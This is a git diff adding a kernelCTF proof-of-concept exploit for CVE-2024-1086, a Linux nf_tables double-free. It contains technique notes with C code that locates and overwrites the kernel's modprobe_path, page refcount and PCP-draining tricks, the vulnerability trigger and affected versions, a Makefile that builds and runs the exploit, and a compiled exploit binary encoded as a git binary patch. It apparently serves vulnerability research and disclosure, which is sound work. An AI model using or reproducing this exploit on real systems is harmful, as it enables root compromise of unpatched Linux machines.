+
+static int strcmp_modprobe_path(char *new_str)
+{
+ char buf[KMOD_PATH_LEN] = { '\x00' };
+
+ get_modprobe_path(buf, KMOD_PATH_LEN);
+
+ return strncmp(new_str, buf, KMOD_PATH_LEN);
+}
+
+void *memmem_modprobe_path(void *haystack_virt, size_t haystack_len, char *modprobe_path_str, size_t modprobe_path_len)
+{
+ void *pmd_modprobe_addr;
+
+ // search 0x200000 bytes (a full PTE at a time) for the modprobe_path signature
+ pmd_modprobe_addr = memmem(haystack_virt, haystack_len, modprobe_path_str, modprobe_path_len);
+ if (pmd_modprobe_addr == NULL)
+ return NULL;
+
+ // check if this is the actual modprobe by overwriting it, and checking /proc/sys/kernel/modprobe
+ strcpy(pmd_modprobe_addr, "/sanitycheck");
+ if (strcmp_modprobe_path("/sanitycheck") != 0)
+ {
+ printf("[-] ^false positive. skipping to next one\n");
+ return NULL;
+ }
+
+ return pmd_modprobe_addr;
+}
+```
+
+## Page refcount juggling
+
+When freeing a page, the Linux kernel checks if the pages' refcount is 0. If it is not, it will refuse to free the page. To bypass this behaviour we simply juggle the refcounts, by utilizing the following order of operations for the double-free:
+
+1. alloc obj1 | refcount 0 -> 1
+2. free obj1 | refcount 1 -> 0
+3. alloc obj2 | refcount 0 -> 1
+4. free obj1 | refcount 1 -> 0
+5. alloc obj3 | refcount 0 -> 1
+
+obj2 and obj3 will now be overlapping (having the same page), because the refcounts were always 0 when freeing.
+
+```c
+void __free_pages(struct page *page, unsigned int order)
+{
+ /* get PageHead before we drop reference */
+ int head = PageHead(page);
+
+ if (put_page_testzero(page))
+ free_the_page(page, order);
+ else if (!head)
+ while (order-- > 0)
+ free_the_page(page + (1 << order), order);
+}
+```
+
+## Double-free order 4 to order 0 (old: race condition)
+
+When double-freeing pages, we can convert the page order to 0 utilizing a race condition with a `WARN()` message on really slow systems (like QEMU VMs with synchronous terminals). In the new exploit, this has been replaced with PCP draining as this works on all systems.
+
+This allows us to double-allocate `order==0` pages whilst having a double-free primitive on `order==4` pages.
+
+## Double-free order X to order Y (new: PCP refill)
+
+When double-freeing pages, we can convert the page order to an arbitrary order by double-freeing pages with `order>=4` such that it will end up in the buddy allocator freelist. Then, we can allocate it to the PCP list of an arbitrary `order<=3` page freelist, by draining said PCP-freelist and refilling it with the pages from the buddy-freelist.
+
+This is the new variant of the race condition-based method.
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md
new file mode 100644
index 00000000..daf9f318
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md
@@ -0,0 +1,47 @@
+# vulnerability
+
+Document containing information about the vulnerability, the requirements, and the affected Linux kernel versions.
+
+## technical details
+
+### outlines
+
+The root cause is an input sanitization bug in `nft_verdict_init()` (`net/netfilter/nf_tables_api.c:9814`), which allowed rule verdicts to return positive drop errors. This is classified as CVE-2024-1086.
+
+The impact of this is a stable double-free primitive on both `struct sk_buff` objects, as well as `sk_buff->head` objects (kmalloc objects, ranging from size 256 to 65536 (assuming ipv4) a.k.a. order 4 buddy pages).
+
+The fix for the vulnerability was simply disallowing all drop errors in `nft_verdict_init()`, as this wouldn't allow userland applications to provide any drop errors anymore. It did not make sense to the kernel developers that userland applications could do this anyways, so hence they fully disabled it.
+
+### triggering the bug
+
+An exploit can create a rule containing an expression which sets the verdict to `0xFFFF0000`.
+
+When this rule gets evaluated for an skb passing the nf_tables firewall, `nf_hook_slow()` attempts to free an skb object because `NF_DROP` is returned from the verdict mask of the rule verdict (`0xFFFF0000 (verdict) & 0x000000ff (NF_VERDICT_MASK) == 0 (NF_DROP)`). Then, `nf_hook_slow()` returns `NF_ACCEPT` (`NF_DROP_GETERR(0xFFFF0000) == NF_ACCEPT`) as if every hook/rule in the chain returned `NF_ACCEPT`.
+
+This causes the caller of `nf_hook_slow()` to misinterpret the situation (it believes the packet has not been freed, and should be handled), and continue parsing the packet and eventually double-free both the skb object and its skb->head object.
+
+## requirements
+
+Capabilities:
+- `CAP_NET_ADMIN`
+
+Kernel configuration:
+- `CONFIG_NF_TABLES=y`
+- `CONFIG_NETFILTER=y`
+
+User namespaces needed:
+- Yes, in order to setup rules for nf_tables to trigger the bug (`CAP_NET_ADMIN` in the current namespace should also be enough)
+
+## version info
+
+Commit which introduced the vuln:
+- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e0abdadcc6e113ed2e22c85b35007
+
+Commit which fixed the vuln (revert of previous commit):
+- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f342de4e2f33e0e39165d8639387aa6c19dff660
+
+Affected kernel versions:
+- everything between `v3.5` and `v6.8-rc1`
+- excluding `v6.1.76` and higher on `v6.1.x`
+- excluding `v6.6.15` and higher on `v6.6.x`
+- excluding `v6.7.3` and higher on `v6.7.x`
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile
new file mode 100644
index 00000000..a484083e
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile
@@ -0,0 +1,31 @@
+SRC_FILES := src/exploit.c src/env.c src/net.c src/nftnl.c src/file.c
+OUT_NAME = ./exploit
+
+# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
+# and dynamically linking raised glibc ABI versioning errors
+CC = musl-gcc
+
+# use custom headers with fixed versions in a musl-gcc compatible manner
+# - ./include/libmnl: libmnl v1.0.5
+# - ./include/libnftnl: libnftnl v1.2.6
+# - ./include/linux-lts-6.1.72: linux v6.1.72
+CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations
+
+# use custom object archives compiled with musl-gcc for compatibility. normal ones
+# are used with gcc and have _chk funcs which musl doesn't support
+# the versions are the same as the headers above
+LIBMNL_PATH = ./lib/libmnl.a
+LIBNFTNL_PATH = ./lib/libnftnl.a
+
+exploit: _compile_static _strip_bin
+run: _run_outfile
+clean: _clean_outfile
+
+_compile_static:
+ $(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
+_strip_bin:
+ strip $(OUT_NAME)
+_run_outfile:
+ $(OUT_NAME)
+_clean_outfile:
+ rm $(OUT_NAME)
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/exploit b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/exploit
new file mode 100755
index 0000000000000000000000000000000000000000..6d8ba3d5b4a006e20d64ab4bfebadd5b5972c3e6
GIT binary patch
literal 169360
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